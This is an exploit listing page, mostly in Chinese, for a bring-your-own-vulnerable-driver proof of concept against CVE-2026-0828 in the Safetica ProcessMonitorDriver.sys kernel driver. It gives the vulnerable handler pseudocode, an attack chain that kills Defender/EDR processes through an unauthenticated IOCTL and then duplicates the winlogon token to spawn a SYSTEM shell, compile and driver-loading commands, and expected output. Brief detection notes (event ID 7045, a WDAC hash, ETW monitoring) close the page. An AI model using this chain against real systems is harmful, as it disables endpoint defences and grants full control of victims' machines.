## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MEIN-0-CVE-2026-0828
# CVE-2026-0828 — Safetica ProcessMonitorDriver.sys BYOVD PoC
Safetica DLP 内核驱动程序(`ProcessMonitorDriver.sys`)暴露了一个未经认证的 IOCTL,允许任何用户态调用者通过内核上下文中的 `ZwTerminateProcess` 终止任意进程,从而绕过 PPL(轻量级受保护进程)保护。
**CVSS:** 8.8(高危)· **类型:** BYOVD、LPE · **平台:** Windows x64
* * *
## 漏洞
IOCTL `0xB822200C` 对应的 `IRP_MJ_DEVICE_CONTROL` 处理程序以 `PROCESS_ALL_ACCESS (0x1FFFFF)` 权限调用 `ZwOpenProcess`,随后使用直接取自输入缓冲区的 PID 调用 `ZwTerminateProcess` — **全程未进行任何权限或调用者验证。**
root@kitploit:~
// Vulnerable handler (IDA pseudocode)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
由于该调用在内核上下文中发起,受 PPL 保护的进程(Windows Defender、EDR 代理)可被终止。
**受影响版本:** Safetica < 11.26.19 / < 10.5.150
**修复版本:** Safetica 11.26.19、11.29.8、10.5.150 — IOCTL 处理程序中已添加权限检查
**参考资料:** KOSEC 公告 · CERT VU#818729
* * *
## 攻击链
root@kitploit:~
Admin privileges
│
├─► Load ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► PHASE 1: Kill EDR via IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassed]
│
└─► PHASE 2: Token duplication → SYSTEM shell
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
* * *
## 文件
文件| 描述
---|---
`exploit.c`| 完整 PoC — 终止 EDR,以 NT AUTHORITY\SYSTEM 身份启动 cmd.exe
* * *
## 编译
需要 Visual Studio(x64 本机工具命令提示符):
root@kitploit:~
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
* * *
## 使用方法
**第 1 步 — 加载驱动程序** (管理员 CMD):
root@kitploit:~
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
**第 2 步 — 运行 PoC:**
root@kitploit:~
exploit.exe
**预期输出:**
root@kitploit:~
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
将打开一个以 `NT AUTHORITY\SYSTEM` 身份运行的新 `cmd.exe` 窗口。
* * *
## 检测
**事件 ID 7045** — 新的内核服务安装:
root@kitploit:~
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
**WDAC 阻止列表(SHA256):**
root@kitploit:~
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
**ETW:** 监控对 `\\.\STProcessMonitorDriver` 的 `DeviceIoControl` 调用。
* * *
## 测试环境
* Windows 10 22H2 x64
* * *
> **仅限经授权的安全研究和实验室环境使用。请勿将其用于你不拥有、或未经书面许可测试的系统。**